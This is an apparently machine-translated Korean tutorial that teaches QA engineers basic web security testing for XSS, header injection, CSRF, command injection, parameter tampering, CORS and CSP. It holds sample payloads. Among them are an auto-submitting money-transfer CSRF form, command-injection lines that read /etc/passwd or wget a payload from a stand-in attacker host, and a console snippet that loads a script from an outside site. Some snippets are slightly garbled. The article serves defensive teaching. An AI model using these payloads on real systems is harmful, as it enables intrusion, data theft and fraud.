이 문서에서는 기본적인 취약점과 테스트 기술을 살펴보고 웹 앱 침투 테스트 기술을 향상시키는 데 필요한 실용적인 통찰력을 제공합니다. 이 기사는 QA 엔지니어 및 분석가를 대상으로 한 일련의 게시물을 결합하여 기본적인 사이버 보안 취약점에 대한 실질적인 탐색을 제공합니다. 그 목적은 QA 엔지니어/테스터/분석가에게 소프트웨어 QA와   간의 격차를 해소하는 지식을 제공하여 웹 애플리케이션의 무결성과 보안을 보장하기 위한 통합 접근 방식을 육성하는 것입니다. 사이버 보안  이것은 궁극적인 가이드는 아니지만 사이버 보안 분야에 관심이 있는 QA 엔지니어로서의 경험을 공유하고 싶습니다. 몇 가지 측면을 더 깊이 배우고 싶다면 유용한 링크가 포함된 매우 피상적인 정보일 것입니다.  1. XSS(교차 사이트 스크립팅)  중요하고 가장 일반적인 취약점 중 하나는 XSS입니다 -  https://owasp.org/www-community/attacks/xss/  현장 및 프런트엔드 개발 기술에 대한 광범위한 지식 없이도 XSS를 테스트하는 방법에 대한 간단한 접근 방식과 팁을 공유하겠습니다.  예를 들어 앱의 입력 필드에 스크립트 태그와 일부 JS 코드를 입력합니다.   <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))  입력을 제출하고 스크립트가 실행되는지 확인하세요.  그렇다면 해당 응용 프로그램은 XSS 공격에 취약합니다.  스크립트가 실행되지 않으면   또는   과 같은 다른 HTML 태그를 추가하여 입력을 수정하고 해당 태그가 페이지에 반영되는지 확인하십시오. 예를 들어 (이 예는 거의 항상 나에게 적합합니다) <img> <iframe>   <b>t</b>#`"/*—est  웹 앱 URL 또는 사용자 이름, 업로드된 파일 이름(   ) 또는 변경할 수 있는 앱 페이지에 표시될 텍스트의 매개변수를 쿼리하는 스크립트를 추가할 수 있습니다. . https://github.com/cure53/H5SC  입력에 대한 프런트엔드 검증에 유의하세요. 항상 직접 요청(Postman, Burp 또는 유사한 도구 사용)을 사용하여 값을 제출해 보세요.  퍼징 및 페이로드 목록을 사용하십시오. 가능하면 이 접근 방식을 자동화하거나 특수 도구를 사용하십시오.  도구에 대해 말하자면, XSS를 발견하고, 다른 도구를 사용해 보고, 다른 앱과 결과를 여러 번 비교하고, 가장 마음에 드는 도구를 선택하는 데 필요한 도구가 많이 있습니다:   (나는 많이 사용했습니다. OWASP ZAP 및 BurpSuite). https://linuxhint.com/free_xss_tools/  개인적으로 저는 여기(   )의 페이로드와 정보를 사용하는 것을 좋아합니다. 제 생각에는 매우 유용한 리소스입니다. https://github.com/s0md3v/AwesomeXSS  XSS 및 페이로드에 대한 자세한 내용은 다음 리소스를 참조하세요.   https://owasp.org/www-community/attacks/xss/   https://portswigger.net/web-security/cross-site-scripting/cheat-sheet   https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45  2. 헤더 주입  이 취약점은 공격자가 웹 사이트 헤더에 악성 코드를 삽입하여 승인되지 않은 작업을 실행하거나 중요한 정보에 액세스할 수 있을 때 발생합니다.  헤더 삽입을 테스트하려면 다음 몇 가지 단계를 수행하면 됩니다.  Postman, Burp 또는 이와 유사한 도구를 사용하여 HTTP 헤더를 조작하고 승인되지 않은 헤더를 추가하거나 기존 헤더를 수정할 수 있는지 확인하세요.  서버가 응답 헤더에 민감한 정보를 보내고 있는지 확인하세요.  악성 콘텐츠를 추가하거나 쿠키 값을 수정하여 쿠키를 조작해 보세요. 헤더 삽입을 테스트하기 위한 페이로드의 한 가지 예는 헤더 필드에 개행 문자를 포함하고 그 뒤에 추가 헤더를 포함하는 것입니다.   (%0d%0a OR \r\n)  예를 들어 다음 페이로드를 사용하여 Set-Cookie 헤더를 삽입할 수 있습니다.   User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked  또 다른 예는 공격자가 Host 헤더를 조작하여 동일한 서버의 다른 웹사이트나 하위 도메인에 액세스할 수 있는 Host 헤더 삽입입니다. 예를 들어:   Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com  헤더 삽입에 대해 자세히 알아보려면 다음 리소스를 참조하세요.   https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection   https://portswigger.net/research/making-http-header-injection-tical-via-response-queue-poisoning   https://www.acunetix.com/blog/web-security-zone/http-header-injection/   https://portswigger.net/web-security/host-header/exploiting  3. CSRF(사이트 간 요청 위조)  CSRF는 악성 웹사이트가 사용자를 속여 사용자가 현재 로그인되어 있는 다른 웹사이트에서 행동하도록 할 때 발생합니다. 이러한 유형의 공격으로 인해 사용자를 대신하여 승인되지 않은 작업(모든 POST 요청)이 수행될 수 있습니다.  CSRF 취약점을 테스트하려면 간단히 말해서 다음을 수행할 수 있습니다.  웹사이트에서 민감한 작업을 수행하는 양식이나 작업을 찾으세요. 비밀번호 변경이나 거래(또는 사용자가 모르는 사이에 사용자를 대신하여 수행될 경우 사용자에게 해로울 수 있는 기타 게시물 요청)가 있을 수 있습니다.  동일한 작업을 수행하는 숨겨진 양식이 포함된 HTML 페이지 또는 코드 조각을 만듭니다. 예를 들면 다음과 같습니다.   <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>  이 코드를 HTML 파일로 저장하고 테스트하는 사이트에 로그인한 것과 동일한 브라우저에서 엽니다.  사용자가 알지 못하거나 허가 없이 작업이 수행되었는지 확인하세요. 2의 예에서 사용자는 대상 웹 사이트의 공격자 계정으로 1000을 전송하기 위해 숨겨진 양식을 자동으로 제출하는 웹 사이트를 방문하도록 속입니다.  CSRF 공격을 방지하려면 안티 CSRF 토큰이나 동일 사이트 쿠키를 사용하여 요청 출처를 검증하세요. 이러한 토큰은 서버에서 생성되고 양식 또는 URL 매개변수에 포함되는 고유한 값입니다. 양식이 제출되면 서버는 토큰이 예상 값과 일치하는지 확인하고 일치하지 않으면 요청을 거부합니다. 다음은 Python의 예입니다.   import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response  유용한 리소스:   https://owasp.org/www-community/attacks/csrf   https://portswigger.net/web-security/csrf   https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html  4. RCE(원격 코드 실행) 및 명령 주입  RCE 및 명령 주입 취약점은 공격자가 대상 시스템에서 임의 코드 또는 OS 명령을 실행할 수 있을 때 발생합니다. 이러한 유형의 공격으로 인해 시스템이 완전히 손상되고 중요한 데이터에 대한 무단 액세스가 발생할 수 있습니다.  RCE 및 명령 주입 취약점을 테스트하려면 간단히 말해서 다음을 수행할 수 있습니다.  조작할 수 있는 입력 필드 또는 매개변수를 식별합니다. 이러한 입력 필드 또는 매개변수는 양식, URL 매개변수, 쿠키, HTTP 헤더 등과 같은 다양한 위치에서 찾을 수 있습니다. 이러한 매개변수를 식별하려면 Burp Suite와 같은 도구를 사용하면 됩니다. HTTP 요청 및 응답을 수정합니다(무료 버전). Burp는 입력 필드와 매개변수를 포함하여 모든 요청과 응답을 캡처하고 표시합니다. 매개변수가 있으면 삽입된 코드나 OS 명령을 실행하는 데 사용할 수 있는지 확인해야 합니다.  해당 필드나 매개변수에 악성 페이로드를 삽입합니다. 다음은 가능한 몇 가지 간단한 예입니다.   ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3  페이로드가 성공적으로 실행되었는지, 민감한 정보가 전송되었는지 확인하려면 애플리케이션의 동작을 확인하세요. 예를 들어,   사용했고 애플리케이션이 서버의 파일 및 디렉터리 목록을 표시한 경우 이는 페이로드가 성공적으로 실행되었으며 애플리케이션이 명령 주입에 취약하다는 것을 나타냅니다. ls -la를  모든 페이로드가 일부 가시적인 출력으로 나타나는 것은 아닙니다. 이러한 경우 네트워크 트래픽 모니터링, 로그 파일 검토 등의 다른 방법을 사용해야 할 수도 있습니다.  RCE 및 명령 주입 공격을 방지하려면 사용자 입력을 검증하고 악성 문자나 명령을 제거하거나 삭제해야 합니다.  추가 학습을 위한 몇 가지 유용한 리소스는 다음과 같습니다.   https://owasp.org/www-community/attacks/Command_Injection   https://owasp.org/www-community/attacks/Code_Injection   https://portswigger.net/web-security  5. 웹 매개변수 변조  이러한 유형의 공격은 클라이언트 측에서 서버 측으로 전송된 매개변수를 조작할 때 발생하며, 예를 들어 무단 액세스 또는 권한 상승으로 이어집니다.  이러한 유형의 취약점을 테스트하려면 다음을 수행할 수 있습니다.  조작할 수 있는 입력 필드 또는 매개변수를 식별합니다. 다른 취약점과 마찬가지로 Burp Suite와 같은 도구를 사용하여 HTTP 요청 및 응답을 가로채고 수정할 수 있습니다.  매개변수를 수정합니다. 예를 들어, 매개변수가 제품 가격을 제어하는 경우 이를 수정하여 더 낮은 가격에 품목을 구매할 수 있습니다. - 제품 가격을 10에서 1로 변경합니다. - 사용자 ID 매개변수를 조작하여 인증을 우회합니다. - 매개변수를 변경합니다. 환불을 받으려면 제품 수량을 음수로 설정하고, 품목 1개의 가격으로 더 많은 품목을 얻으려면 더 높은 숫자로 설정하세요.  변조가 성공했는지 확인하려면 애플리케이션의 동작을 확인하세요. 예를 들어, 가격을 성공적으로 변경한 경우 장바구니나 영수증을 확인할 때 애플리케이션에 해당 변경 사항이 반영되어야 합니다.  물론 보안 위험이 발생하기 전에 문제를 해결할 수 있도록 결과를 개발자에게 보고하세요.  웹 매개 변수 변조 공격을 방지하려면 입력 유효성 검사 및 삭제가 중요합니다. 모든 입력 데이터가 서버 측에서 검증되고 애플리케이션이 악의적인 입력을 거부하는지 확인하십시오. 이러한 유형의 취약점은 QA 팀에서 식별할 수 있는 가장 좋은 취약점이라고 말하고 싶습니다. QA는 일반적으로 개발 프로세스에 참여하지 않는 infosec 엔지니어보다 애플리케이션/제품과 해당 논리 및 매개변수를 더 잘 알고 있기 때문입니다.  다음은 웹 매개변수 변조에 대해 자세히 알아보는 데 도움이 되는 몇 가지 추가 리소스입니다.   https://owasp.org/www-community/attacks/Web_Parameter_Tampering   https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/   https://www.imperva.com/learn/application-security/parameter-tampering/  6. CORS(교차 원본 리소스 공유)  이는 웹 페이지가 웹 페이지를 제공한 도메인이 아닌 다른 도메인에 요청하는 것을 제한하는 보안 메커니즘입니다.  다음을 수행하여 테스트할 수 있습니다.  호스트에 액세스하는 것을 금지해야 하는 모든 도메인(예: google.com)을 브라우저에서 엽니다.  브라우저 콘솔에서 다음 명령을 사용하십시오.   fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })  모든 것이 올바르게 구성되면 다음이 표시됩니다.   access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.  다음과 같은 간단한 단계를 수행하십시오.  요청과 관련된 원본 및 대상 도메인을 찾습니다. 원본 도메인은 요청을 보내는 웹페이지의 도메인이고, 대상 도메인은 요청이 전송되는 도메인입니다.  Postman과 같은 도구를 사용하여 원본 도메인에서 대상 도메인으로 요청을 보냅니다. 요청이 원본 간 요청임을 나타내려면 적절한 헤더를 포함해야 합니다.  서버는 원본 도메인의 요청이 허용됨을 나타내기 위해 응답에 Access-Control-Allow-Origin 헤더를 포함해야 합니다. 이 헤더가 없거나 다른 값으로 설정된 경우 애플리케이션의 취약점을 나타낼 수 있습니다.  Access-Control-Allow-Origin 헤더가 없거나 값으로 설정된 경우 요청을 수정하여 제한 사항을 우회해 보십시오. 예를 들어 Origin 헤더를 대상 도메인과 일치하도록 변경하거나 다른 HTTP 메서드를 사용해 볼 수 있습니다. 다음은 테스트할 몇 가지 요청 예시입니다.   Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With  응답:   HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With  CORS에 대한 자세한 내용을 보려면 다음과 같은 유용한 리소스를 참조하세요.   https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS   https://portswigger.net/web-security/cors  7. 콘텐츠 보안 정책(CSP) 헤더가 설정되지 않았습니다.  CSP는 웹 페이지에 로드할 수 있는 콘텐츠 소스를 지정하여 XSS 공격을 방지하는 데 도움이 되는 메커니즘입니다. CSP 헤더 세트가 없으면 페이지에 악성 스크립트를 삽입하여 중요한 사용자 데이터를 훔치거나 다른 작업을 수행할 가능성이 있습니다.  CSP 헤더를 확인하려면 다음을 수행할 수 있습니다.  브라우저에서 테스트하려는 웹페이지를 엽니다.  브라우저에서 개발 도구를 열고 콘솔로 이동합니다.  다음 코드를 입력하세요:   document.cookie=TESTCOOKIE=XSS;  성공적으로 실행되면 오류 메시지가 표시되지 않습니다. 이는 페이지가 외부 소스에서 쿠키를 설정할 수 있도록 허용하므로 XSS에 잠재적으로 취약함을 나타냅니다.  페이지에 스크립트를 삽입하고 실행되는지 확인해보세요. 예를 들어 브라우저 콘솔에 다음 코드를 삽입합니다.   var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);  응답 헤더에서 Content-Security-Policy 헤더를 찾으세요. 이 헤더가 없으면 웹 페이지에 CSP 헤더 세트가 없다는 의미입니다.  CSP 헤더는 웹앱 보안에서 중요한 요소입니다.  CSP에 대한 자세한 내용은 다음을 참조하세요.   https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html   https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP  사이버 보안과 소프트웨어 QA 간의 공생 관계는 소프트웨어 앱의 보안 측면에서 중요합니다. 위협 모델링 방법론과 자동화된 퍼지 테스트 기술의 통합을 통해 QA 엔지니어는 보안 취약점을 조기에 감지하고 완화하는 데 크게 기여합니다. 사이버 보안과 QA 팀 간의 협업은 소프트웨어 개발에 대한 통합 접근 방식의 필수적인 부분을 형성하며, QA의 역할은 기능 및 유용성 테스트를 넘어 잠재적인 보안 결함을 사전에 식별하고 수정하는 것을 포함합니다. QA를 사이버 보안 노력의 전략적 자산으로 인식하는 것은 중요합니다. 이는 데이터 보호를 강화할 뿐만 아니라 회사의 평판, 고객 신뢰 및 전반적인 재무 안정성을 보호하기 때문입니다. 엄격한 테스트 관행과 결합된 QA 전문가의 기술력은 사이버 위협에 대한 강력한 방어를 구축합니다.   중요한 알림:  항상 명시적인 허가를 받아 통제된 환경 내에서 침투 테스트를 수행하십시오. 이러한 윤리적 접근 방식은 보안 평가가 책임 있는 테스트 프로토콜과 일치하도록 보장하여 시스템에 대한 우발적인 손상을 방지하고 테스트 프로세스와 중요한 사이버 보안 전략 모두의 무결성을 유지합니다.  이 기사에서는 QA 엔지니어가 웹 앱 보안 테스트를 개선하고 소프트웨어 QA와 사이버 보안을 연결하는 실용적인 팁을 공유합니다. 더 많은 것을 배우고자 하는 사람들을 위한 통찰력과 유용한 링크가 포함된 초보자 친화적인 가이드입니다.    게시되었습니다. 여기에도

This story contains new, firsthand information uncovered by the writer.

About Me

Read My Articles

Hire Me

이 오디오는 이야기의 원래 언어로 제작되었습니다!

Cybersecurity Essentials: QA 엔지니어를 위한 실용적인 웹 앱 보안 테스트 팁

About Author

코멘트

태그 걸기

이 기사는 다음에서 발표되었습니다.

Related Stories

사용자 중심의 암호화 제품 만들기: 고객 피드백의 중요성

이 18가지 개발자 도구로 생산성을 높이세요 🚀🔥

Crypto Growth: 효과적인 사용자 페르소나 만들기

포럼에서 피드까지: 소셜 미디어 알고리즘이 디지털 상호작용을 형성하는 방식

사용자 중심의 암호화 제품 만들기: 고객 피드백의 중요성

이 18가지 개발자 도구로 생산성을 높이세요 🚀🔥

Crypto Growth: 효과적인 사용자 페르소나 만들기

포럼에서 피드까지: 소셜 미디어 알고리즘이 디지털 상호작용을 형성하는 방식

Light-Mode

Classic

Newspaper

Dark-Mode

Neon Noir

Minty

HN StartUps